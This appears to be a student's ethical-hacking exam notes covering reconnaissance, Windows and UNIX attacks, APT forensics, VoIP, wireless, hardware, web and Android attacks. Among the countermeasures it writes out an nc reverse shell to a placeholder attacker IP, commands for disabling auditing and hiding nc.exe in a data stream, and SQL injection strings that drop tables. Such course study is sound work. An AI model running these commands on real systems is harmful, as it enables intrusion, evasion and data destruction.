Eth questions!!

FOOTPRINTING

1- **What is footprinting and which goals does it achieve? Describe the basic steps that should be performed for a thorough footprinting analysis.**

Footprinting is the art of gathering information about the target. Footprinting is necessary to understand the environment around the target and the relationship with other partners. Footprinting, on the defensive side, is also useful to understand what an attacker can see about the company and which information can be found.
Following the aim steps:

1- Determine the scope of your footprinting activities: if you are going to footprinting the entire organization or only a subset of it, if you are going to check for all partner connections, ecc..
2- get proper authorization to perform these activities and protect yourself from legal involvement. Be careful to make the right people aware about your activities.
3- start your activity checking the publicly available information:
    a. Checking company web pages could be very interesting.
    b. Related organizations' web pages can contain useful information about the target company because they can pay less attention to sensitive information posted.
    c. location details can be useful and for this purpose is frequently used the google map service
    d. Employee information is great to perform social engineering attacks.
    e. Current events such as mergers and acquisitions can make it easier to perform social engineering attacks and the discovery of sensitive information.
    f. Archived information can keep traces of sensitive information even if those are not anymore available from the original source.
4- WHOIS and DNS Enumeration: In this step an attacker can use this technique to discover information like IP addresses and domain names.
5- DNS Interrogation to discover information about the organization exploiting DNS misconfiguration.
6- Network reconnaissance to discover the topology of the target internal network. For this activity can be used traceroute, a tool that lets you view the route that an IP packet follows from one host to the next.

SCANNING

1- **What are ping sweeps? Describe at least two host discovery techniques and at least one tool used to perform host discovery.**

Ping sweep is a technique that allows you to determine if a system is 'alive'. With ping sweep we indicate the act of sending a certain type of traffic to a target and analyze the results. It commonly uses ICMP, ARP, UDP and TCP traffic.

- ARP host discovery: if an attacker is in the same local network segment of the target, it can perform an ARP discovery sending ARP requests at all the hosts on the subnet. If an ARP

reply is received, the host is considered alive. (This method also 3allows us to identify hosts that are configured with a local firewall and are filtering higher layer traffic.)
    - arp-scan: $ sudo ./arp-scan 192.168.1.0/24
    - nmap: $ sudo nmap -sn -PR 192.168.1.0/24
    - cain(W)
- ICMP host discovery: ICMP has different types of messages. ICMP ECHO REQUEST packets are sent and if ICMP ECHO REPLY is received the target system is considered alive. Ping is the common OS utilities to perform an ICMP ECHO REQUEST. This allows troubleshooting for basic connectivity problems.

Nmap instead allows to send not only ICMP(-PE) requests but also ARP(-PR) and TCP pinging. The command should be performed with root privileges otherwise it just performs TCP pinging.

2- Describe at least one technique to determine which services are running or listening on a remote host. Discuss pros and cons, and which tools you may use in practice.

Port scanning is the process of sending packets to TCP and UDP ports on the target system to determine which are the services that are running or are in LISTENING state. This technique is very useful to understand the services used on the target system and which are the vulnerabilities that an attacker can exploit. Important is determining the version of OS and applications in use. There are different types of scanning, some are more intrusive or slower than others.

- TCP connect scan performs a connection with the target port and completes a full three-way handshake (SYN, SYN/ACK, ACK). It's longer than other scan types available and it probably leaves a log on the target system.
- TCP SYN scan doesn't complete the three-way handshake but it sends a SYN packet and it only waits for the SYN/ACK reply to determine if the service is in LISTENING state. An RST/ACK usually is received when the port is not listening. Stealthier than a full TCP connect (probably not logged on the target system). A huge number of requests on the same system can produce a DOS condition.
- UDP scan sends UDP packets to the target port and if the target port responds with an 'ICMP port unreachable' message, the port is closed. Slower than others and not very reliable (connectionless protocol).

Nmap can be used to perform a TCP SYN port scan: $sudo nmap -sS 192.168.1.131.
SuperScan and Netcat allows TCP scanning and UDP scanning.

ENUMERATION

1- Discuss the differences between scanning and enumeration. Describe at least one enumeration technique.

Scanning is the phase that follows the footprinting, in which we determine if the target systems are alive, and which are the running services on them. This phase is commonly less intrusive than enumeration in which we try to probe the previously identified services more fully for known weaknesses. This process involves active connections to systems and directed queries.
Moreover, enumeration techniques tend to be platform specific and dependent on information gathered in the scanning phase. Enumeration can be performed with manual(stealthier) or with automated techniques.
Automated techniques are quick and efficient and use a process called Service Fingerprinting that allows revealing services and their patch level associated with each port.

- Nmap lists service names along with ports (useful for the scanning phase). With the -sV option, it interrogates the ports and solicits feedback, then it tries to guess the version of the service.

Banner Grabbing is another enumeration technique. This technique consists of connecting to remote services and observing the output.

- Many port-scanning tools can perform banner grabbing. Manual example:
  C:\> telnet www.example.com 80 or C:\> nc -v www.example.com 80
  return an output very useful to analyze.

HACKING WINDOWS

1- The Administrator account of a Windows server has been compromised. Host software cannot be re-installed for business reasons. With these assumptions, how do you plan and implement post-exploit activities for the host recovery? List the areas of the system on which to intervene, to restore the host's security. Discuss in detail at least one of these areas of intervention, listing the activities to be carried out, the tools, the line commands to be used, etc (P. 209)

Administrator compromission is a very dangerous situation, in general reinstalling all the software by official source is the best way to feel safe. When this is not possible, it is recommended to analyse filenames, registry entries, running processes and ports.

- Analysing filenames is a good method to discover suspicious programs. Check in the startup directories anything that is launched at boot time. Also, antimalware software is very useful to discover malicious activities. Using check summing tools (e.g., Tripwire) to identify changes to the file system.
- Some applications needed specific registry key attributes setted. Check for it to understand if some applications (like WINVNC, a remote-control software) are on the system. Looking in HKLM\SOFTWARE and SKEY_USERS\.DEFAULT\Software. Remove suspicious keys is easy with the REG.EXE tool from Resource Kit: C:\> reg delete [value] \\[machine]
- Looking at running processes using the Task Manager and keeping trace of processes that consume CPUs. Use the Task Manager or the command line task kill utilities to stop any rogue process. Look also for the Windows Task Scheduler queue.
- Check for rogue connections with the netstat utility: C:\> netstat -an -> shows all active connections.

2- Explain what steps an attacker should take to cover his tracks after successfully gaining administrator privileges on a Windows system in order to avoid detection. How can attackers hide their file in the system?

Once the attacker has successfully gained privileges it can perform some activities to hide itself.

- The first thing to check generally is the auditing. Disabling the auditing is very easy with the resource kit's auditor tool: C:\> auditor disable. At the end, the intruder can simply turn on auditing again with the same tool.
- Clearing the event log. An intruder can wipe the logs clean with the Event Viewer and with other tools like EL Save or do it manually(more stealthier).
- Hide files can be very useful when the attacker needs to use toolkits later the target system. The easiest way is to use the attribute command. In this way files and directories are hidden from command-line tools but not if the Show All File option is selected in Windows Explorer. Most difficult to discover is the ADS (Alternative Data Stream). This technique allows an

attacker to create a new stream in an existing file without modifying size and name. Only the data may be modified. Streamed files can still be executed.
C:\> cp nc.exe oso001.009: nc.exe
C:\> start oso001.009: nc.exe

3- What are the three main network password exchange protocols used in Windows systems? Describe the pass-the-hash and pass-the-ticket attacks and countermeasures. (P. 170,175)

The three main network password exchange protocols used in windows are:

1- LM - Lan Manager (hash)
2- NTLM – NT Lan Manager (with encryption)
3- Kerberos (private or optional public key)

The authentication protocol LM allow to facility identify the original LM hash. The tool used to attack LM and NTLM authentication is Cain.
Kerberos sends a pre-authentication packet which contain timestamp encrypted with a key derived from the user's password; also, here we could use Cain that have an integrated sniffer MSKerb5-PreAuth.

Pass-The-Hash is a technique that allow to an hacker to do an authentication through a remote server using the password hash of user eliminating the necessity to violate the hash for obtain the password in clear text. We could use WCE to be doing the dump of memory credentials.

Pass-the-Ticket is an attack used with Kerberos authentication that allows the client authentication using tickets and when logged in create new ticket with TGT; also, here we can use WCE to do the dump of the ticket Windows of Kerberos and using that with TGT to create new one for other services.

Countermeasures: Prevent intrusion in the first place, since this is a post-exploitation technique and, if possible, use a two-factor authentication.

4- Describe at least three Windows security features available with Windows 2000 and above. Are there published attacks that bypass these three security features? Ps. The presentations of Windows Firewall and Automated Updates will not be evaluated. (P.213-229)

1- EMET (Enhanced Mitigation Experience Toolkit): Allows the user to configure DEP (Data Execution Prevention) and ASLR (Address Space Layout Randomization)
2- BDE (Bit locker Drive Encryption): encrypts the entire volumes and stores the key in ways that are much more difficult to compromise. It is very important to separate the key physically from the system for mitigate the cold-boot attacks.
3- Data Execution Prevention: mark portions of memory as non-executable to prevent buffer overflows attacks. Making the stack non executable, for example, shuts down one of the most reliable mechanism for exploiting software available today: the stack-based buffer overflow.

4- To define configuration parameters Windows provides Security policy and Group policy. The Group policy solutions can be stored in the Active Directory or on a local computer to manage a domain wide. GPOs can be applied to sites, domains and Organizational Units and are inherited by the users or computers they contain.

HACKING UNIX

1- Describe at least one attack method to gain remote access on a UNIX system. Describe at least one attack to gain root access. Discuss pros and cons.

Attack methods for remote access:

- Brute force attacks are a guessing a user ID/Password combination on a service that attempts to authenticate the user before access is granted. Most services that can be brute forced are:
    - HTTP/HTTPS
    - Telnet, SSH
    - FTP
    - POP and IMAP
    - …

  Automated tools for brute forcing: Hydra and Medusa
- Buffer overflow attack that occurs when a user or process attempts to place more data into a buffer than was previously allocated. This type of behaviour is associated with specific C functions such as strcpy(), strcat() and sprint().

Once the attacker have an interactive command shell, they are considered to be local on the system. Attackers must escalate user privileges to gain root access:

- Password cracking with Jhon the Ripper: attackers must obtain the access to the etc/passwd file or shadow password file. It is possible to grab a copy of the password file remotely; cracking password for modern UNIX operating systems requires one additional input known as a salt.
- Symlink : is a mechanism where a file is created via the IN command; that is nothing more than a file that points to a different file; the vulnerability allow us to read any file on the filesystem. To create symlink: ln -s /root/dbconnect.php -/. screensaver.

2- Describe a UNIX permission system and the main attack vector related to permission system.

In a Unix system all is a file with associated permissions. Permissions are divided into 3 groups: The user, the group and the other. Each of these can have three different permissions: read, write and execution.

Rwx rwx rwx -> the first parameter can be d(directory), l(link)

If the file permissions are weak out of the box, or the system administrator changes them, the security of the system can be severely affected.

- SUID FILES: the attackers usually begin to find all SUID files and create a list of files that may be useful in gaining root access. Unix find command with options -perm setted up.

- World-writable Files: setting sensitive file to world-writable, allowing any user to modify them; including system initialization file, critical system configuration files and user startup files. To find this file use the same command as SUID with -perm2.

3- Describe at least two main services in UNIX systems that are often remotely attacked. For each of these explain how the remote attack occurs and discuss the possible countermeasures.

1- FTP: allow anonymous access, enabling any user to log into the FTP server without authentication; attackers can begin pull down sensitive configuration files such as /etc/psswd. Another vulnerability is that allows an attacker to create a back channel; first we need to create a nc listener on port 443 and then executing the perl script we will receive a reverse shell. Countermeasures: disable anonymous, if possible, Apply latest version patches and Eliminate/reduce world writable directories.
2- Sendmail: is a mail transfer agent (MTA) that is used on many UNIX systems. Is possible to perform user enumeration using VRFY and EXPN commands. Countermeasures: Disable sendmail if possible; use latest version with all relevant security patches; remove decode aliases from the alias file; consider using more secure MTA like qmail or postfix.

4- How attackers use the back channel to gain remote access to a Unix system? Describe an attack scenario and explain the possible commands the attackers use to create a back channel. Discuss the possible countermeasures. (P. 255)

Back channel is a mechanism where the communication channel originates from the target system rather than from the attacking system. In a scenario where all port except 80 and 443 are blocked by the firewall, the attacker must originate a session from the vulnerable UNIX server to their system by creating a back channel. Methods:

- Reverse telnet: we must enable nc listeners on out own system that will accept our reverse telnet connections
- Nc: use of nc instead of telnet if present on the target system. On attacker host:
  Nc -l -n -v -p 80
  On remote system:
  Nc -e /bin/sh {hacker_ip} 80

Countermeasures:

- Keep your system secure so a back-channel cannot be executed.
- Disabling unnecessary services and apply vendor patches.

5- Return-to-libc, buffer overflow and return oriented programming.

- Buffer overflow attack that occurs when a user or process attempts to place more data into a buffer than was previously allocated. This type of behaviour is associated with specific C functions such as strcpy(), strcat() and sprint().
- Return to libc : is a way of exploiting a buffer overflow on a UNIX system that has stack execution protection enabled, so we can't execute a buffer overflow attack; here an attacker return into the standard C library, libc, rather than returning to arbitrary code placed on the stack. In this way the attacker can bypass stack execution prevention controls completely by calling existing code that does not reside on the stack.

ADVANCED PERSISTENT THREATS

1- Describe the six main steps that constitute an APT attack and indicate for each one the artifacts/traces that are usually left into the victim system. When detecting an APT attack, the tools used by the administrators may be compromised so as the return false information. Describe at least 8 of the 22 recommended checks.

Advanced Persistent Threads are essentially the actions of an organized group that has unauthorized access to and manipulates information systems and communications to steal valuable information for a multitude of purposes.

APTs involve multiple phases that leave artifacts:

1- Targeting: attackers collect information about the target from public or private sources and tests methods that may help permit access such as: vulnerability scanning and spear-phishing.
2- Access/Compromise: collects credentials to facilitate addition compromises. Attackers may attempt to obfuscate their intentions by installing rogueware or other malware.
3- Reconnaissance: attackers enumerate the network architecture and test the administrative rights to access other systems and applications.
4- Lateral movement: conduct lateral movement through the network to other hosts.
5- Data collections and exfiltration: establish connection points and exfiltrate the data via compromised servers or utilize custom encryption techniques.
6- Administration and maintenance: maintain access over time using tools or malware.

There are some recommended checks:

1- Check %temp% for .exe, .bat, .*z* files.
2- Check %application data%, for .exe, .bat and .*z* files.
3- Check %system% for .dll, .sys, and .exe files not in the installation directory or with a different date/size.
4- Check c\: for .exe and .*z* files.
5- Check for ESTABLISHED or LISTENING connection to external IPs.
6- Compare results to network activity by date\time.
7- Compare results to blacklist or lookup anomalies.
8- Check for anomalous scheduled jobs.
9- Check anomalous jobs for path and *.exe.
10- Check for anomalous service names.

1. An ongoing APT attack has compromised one of the Windows servers. With this assumption how do you plan and implement the forensic methodology, the tools, the command lines, etc. to be used, to analyse the 'suspicious' host. (P. 326 and 366)

With APT attacks malware could be survived to reboot, to do this it can use several mechanisms like: Use Run Registry Keys, create services, hooking in an existing service, use scheduled tasks, disguise communications as valid traffic, overwrite BIOS or master boot record.

A forensic investigation based on RFC stats analysis in the order of volatility: Memory capture, page or swap file, running process information, network data (port or existing connections), system registry, log files, forensic image of disks and backup media.

Tools: FTK imager to perform a memory dump; Volatility Framework tool to analyse the memory dumped extracting from memory snapshot process-related information like threads, strings, dependencies and communications. VMMap is an analysis tool for virtual and physical memory.

The first thing to do is a memory dump and export it to the external mass storage device. Memory analysis is performed after you have gathered all the evidence using tools like The Volatility Framework Tool starting with image identification. After that we retrieve processes and check network connections.

Tools like this allow us to find hidden or injected processes in memory.

Pagefile, hiberfil and master file table can be copied and analysed.

Page file contains the virtual memory used by Windows OS, it can contain information about malware infections and attacks.

The Hiberfil contains the information of the system when it was in hibernation mode.

The Master file table contains useful information and metadata about files on the system and allows to create a chronological correlation.

Detects all suspicious connections with netstat utility including the PIDs information, with the -o options, that allow to identify the correct process under which the connection is running. Check also the host file for changes in the drivers/etc folder and use currports to analyze sessions. Once you find a suspicious PID check it in Process Explorer which shows properties like strings, threads, connections…

Process Monitoring shows all the kernel interactions that processes make with files and OS. Check also for scheduled tasks with 'at' and 'schtasks'. List the prefetch directory that contains a historical record of the last 128 'unique' programs executed on the system.

Dump the cached DNS requests made with ipconfig /displaydns command.

Check suspicious registry entries verifying the setting of the Run keys with:

reg query hklm\software\microsoft\Windows\currentversion\run /s reg query hklm\software\microsoft\Windows\currentversion\runonce /s

and the Services key for anomalous services activity:

reg query hklm\system\currentcontrolset\services /s

Capture Event Log files and analyze them.

After collecting the volatile data, we can collect interesting files like: ntuser.dat that contains the user's profile data, index.dat that contains requested urls, .rdp files that contain information on remote desktop sessions, antivirus log files…

VoIP

War Dialers are tools that programmatically dial large banks of phone numbers, log valid data connections, attempt to identify the system on the other end of the phone line and attempt a logon by guessing common usernames and passphrases.
Dial-up hacking consists in different phases:

- Footprinting: find a pool of phone numbers starting from the company name.
  - TOOLS
  - Looking for lists or business phone books, also online or in the company's web page. Also, social engineering could be useful.
  - COUNTERMEASURES:
  - Prevent unnecessary information leakage, limit phone number exposure.
  - Require a password to make any inquiries about an account.
  - Be suspicious of unidentified callers requesting information.
- Scanning: find which are numbers useful for dial-up hacking. This phase can be done feeding wardialing with numbers gained in the previous step.
- Wardialers are tools that perform automated dialing and are able to categorize numbers based on the answer obtained.
- Wardialer generally requires a modem to conduct wardialing, but more efficient tools use a VoIP connection, like WarVOX. (Speed up the number of calls)
- Enumeration: Once we have obtained results from the wardialers, we can categorize
- the results into domains. It's important to understand the characteristics of the connection in order to choose which systems further penetrate; The domains are four and depending on the number of authentication mechanisms and the number of allowed authentication attempts.
- Based on the domain different scripts should be used to try a brute force penetration.

1. Describe at least three attacks to a VoIP network. Include in your description at least the activities to carry out, the tools, and the command line to be used. What are the possible countermeasures for each of these attacks? For example, one of the possible VoIP attack is the enumeration of VoIP users (no discuss this in the answer).

VoIP is a term that indicates the transport of voice on top of an IP network. To manage call setup, modification and closing are used mainly two protocols: H.323 and Session Initiation Protocol(SIP) that are called signaling protocols.

At the start an attacker needs to identify what system is available. If this discovery process targets SIP devices we should talk about **SIP Scanning**. Different tools are used to perform the scanning (SiVuS, SIPVicious,...) and the best(but poor) countermeasure is the segmentation between the VoIP network and the user access segments.

During the boot process, many SIP phones rely on a TFTP server to retrieve their configuration settings. If an attacker knows the filename, it can retrieve important information like usernames and passwords for administrative functionality. An attacker can simply locate the TFTP server on the network (i.e. nmap) and then attempt to guess the configuration file's name. To avoid this, it is useful to implement access restrictions at the network layer.

Enumerating VoIP users: Information can be obtained analyzing the different responses from SIP when we try to perform a REGISTER request with a valid user (Unauthorized) and an invalid user (Forbidden). Also analysing OPTIONS requests, we can obtain the same information about existing users. There are tools that perform these requests automatically like SIPVicious and SIVus. Only place IDS/IPS and promote 'defense in depth' can mitigate this technique.

Interception attack and packet capture could be useful for offline analysis. Countermeasures are the use of encryption mechanisms.

DoS attack is the easy attack to do, sending a large number of fake call setups signaling traffic is enough (SIP INVITE) IDS and IPS should be placed to detect and mitigate the attack.

WIRELESS HACKING

In WI-FI mode we must do the authentication for 2 reasons, the first is to establish the identity of the client and the second is to produce a session key that feeds into the encryption process.

WPA is a certification that indicates the use of the TKIP (Temporal Key Integrity Protocol) in a device. WPA2 is a certification that indicates the use of the TKIP and the use of AES (Advanced Encryption Standard) in a device.

There are different WPA:

- WPA Pre-shared Key: a pre-shared key is used as input of the cryptographic function that derives the encryption key used to protect the session. This PSK is known by the AP and all the clients in the network.
- WPA Enterprise: the AP query a RADIUS server to authenticate a client using the Extensible Authentication Protocol (EAP)

In both WPA PSK and WPA Enterprise client and AP perform a four-way handshake to establish two encryption keys.

1. Describe at least one method to attack WPA Enterprise. What are the possible countermeasures? (P. 490)

WPA Enterprise attacks concern on sniffing the authentication traffic. So, in the first place an attacker must detect the EAP type observing the communication between the client and the AP during the four-way handshake. If it is used the LEAP protocol an attack could be performed sniffing the traffic and try an offline brute force-attack because the challenge and response is exchanged in clear. However, if a good password is used, the LEAP is secure. Another type is EAP-TTLS and PEAP, that use a TLS channel to exchange credentials. In this case if an attacker can gain access to this tunnel, can steal the credentials. For this it is important to validate the server side certificate on all wireless clients and allow connections only with authorized RADIUS servers.

2. Describe at least one method for attacking WPA. Which countermeasures can be used?

WPA PSK attacks point to the exchange of the PSK between the client and the AP. In the WPA a PSK is exchanged and is used to derive the encryption key. This PSK is shared between all the clients of the network. The client and the AP perform a four-way handshake to establish the encryption key.

An attacker sniffing the four-way handshake can then perform an offline brute force attack to figure out the PSK.

An attacker can sniff the handshake when a client tries to connect to the AP, so an attacker can kick a client off and sniff the handshake when it tries to reconnect itself. The PSK must be complex and the sharing among the users should be controlled: if the PSK is complex but the users expose it in another way, the entire network is at risk.

Countermeasure: complex PSK and PSK could be disclosed by a single user.

HACKING HARDWARE

1. **Explain what is the Advanced Technology Attachment security mechanism (ATA security. Describing the steps of the attack can bypass ATA security. How to defend against such bypass?**

The ATA security mechanism requires that the user type a password before a hard disk can be accessed by the BIOS. This security features do not encrypt or protect the contents of the drive, only the access of the drive.

The most common and easiest way for bypass ATA is to hot-swap the drive into a system with ATA security disabled. If the BIOS can be fooled into just sending the SECURITY SET PASSWORD command, the drive will simply accept it. Hot-swap attack steps:

- Find a computer that is capable of setting ATA passwords and unlocked drive;
- Boot the computer with the unlocked drive and enter the BIOS interface.
- Navigate to the BIOS menu that allows you to set a BIOS password.
- Carefully remove the unlocked drive from the computer and insert the locked drive.
- Set the hard disk password using the BIOS interface. The drive will accept the new password.
- Reboot the computer and unlock the drive with the new password.

Hot swapping ATA drives may potentially damage the drive, the drive's filesystem and the computer.

Countermeasures:

- Do not rely on ATA security,
- Use instead full disk encryption (Such as Bitlocker)

2. **Describe at least two techniques for hacking devices(hardware). Describe the particular attacks against hardware devices that store sensitive information.**

The first technique is Bypassing ATA security described in the first question.

The second USB U3 Hack: the U3 system is a secondary partition included with USB flash drives made by ScanDisk. It is configured to execute automatically when the usb stick in inserted into certain computers. The partition can be overwritten using the manufacturer's tool to include a

malicious program that executes in the context of the currently logged-on user. The most obvious attacks are to read the password hashes from the local Windows password file or install a Trojan for remote access. The password file can be emailed to the attacker or stored on the flash drive for offline cracking later using tools like fgdump. Attack steps:

- Create a custom autorun script and launch a command script when you insert the USB device into the computer.
- Create a script to run programs, install tools, or perform other actions.
- Copy the file into the U3CUSTOM folder provided by the U3 device manufacturer or use a tool like Universal Customizer.
- Write the ISO to the flash disk with the universalcustomizer.exe. The U3 stick in now armed and ready for use. Any computer that has autorun enabled will launch the scripts.

Countermeasures:

- Disable autorun on the system.
- When in doubt, never insert an untrusted device into your computer.

WEB AND DATABASE HAKING

1. Explain differences between Cross-Site scripting and Cross Site Request Forgery. Which countermeasures can be used?

The Cross Site Request Forgery is an attack that can be performed without knowing anything about the victim. With CSRF the victim's browser sends malicious requests to a legal application exploiting the persistent session mechanism. This attack can be exploited through a link or a malicious script in a web page, like a forum.

Countermeasures:

- The key to preventing CSRF vulnerabilities is somehow trying the incoming request to the authenticated session.

With the XSS attack the victim's browser doesn't send any request to another, but it executes malicious code directly. This is possible when an attacker can 'inject' executable content in a web application. This attack usually allows an attacker to take sensitive information like cookies or infect the victim's computer with malware.

Countermeasures:

- Filter out input parameters for special characters.
- HTML-encode output so even if special characters are in input, they appear harmless to subsequent users of the application.
- If your application set cookies, use Microsoft's HttpOnly cookies.
- Analyse your application for XSS vulnerabilities on a regular basis.

2. Describe the SQL injection technique in web applications. Discuss the possible countermeasures. Describe at least one automated SQL injection tool.

In response to a request for a webpage, the application generates a query, often incorporating portions of the request into the query. If the application isn't careful about how it construct the

query, an attacker Can alter the query, changing how it is processed by the external service. SQL injections refers to inputting raw SQL Queries into an application to perform an unexpected action. Some of the characters commonly used for such input validation attacks include the backtick (‘), the double dash (--), and the semicolon (;), all of which have a special meaning in SQL. Examples:

- Bypassing authentication: Username: ‘ OR “ =’, Username: ‘or 1=1-’
- Drop DB table: Username: ‘; drop table users-

Automated SQL Injection tools:

- HPWebInspect.
- Rational AppScan.
- SQL Power Injector.
- Sqlmap.
- SqlNinja.

3. What is XXS and what are its goals and causes? What types of XSS exist? Describe at least two types of XSS in detail.

The answer is the same of the first question.

MOBILE HAKING

1. Hacking Other Androids: Describe at least two methods to attack other Android devices. What are the possible countermeasures?

- Remote shell via WebKit: Floating point vulnerability in the WebKit open source web browser engine. The exploit is basically a crafted HTML file that, when accessed through a webserver using the default Android web browser, return a remote shell.
    - Countermeasures:
        - Get the latest version of Android available for your device.
        - Install antivirus software on the device to protect it against exploits and other malicious applications.
- RageAgainstTheCage: to a full access, it is necessary to execute a root exploit. RATG allows to gain root privileges. Steps:
    - Download the binary of RATG.
    - Upload the file to a writable and executable directory of the device.
    - Give execution permissions and run the binary.

    Countermeasures: same as WebKit.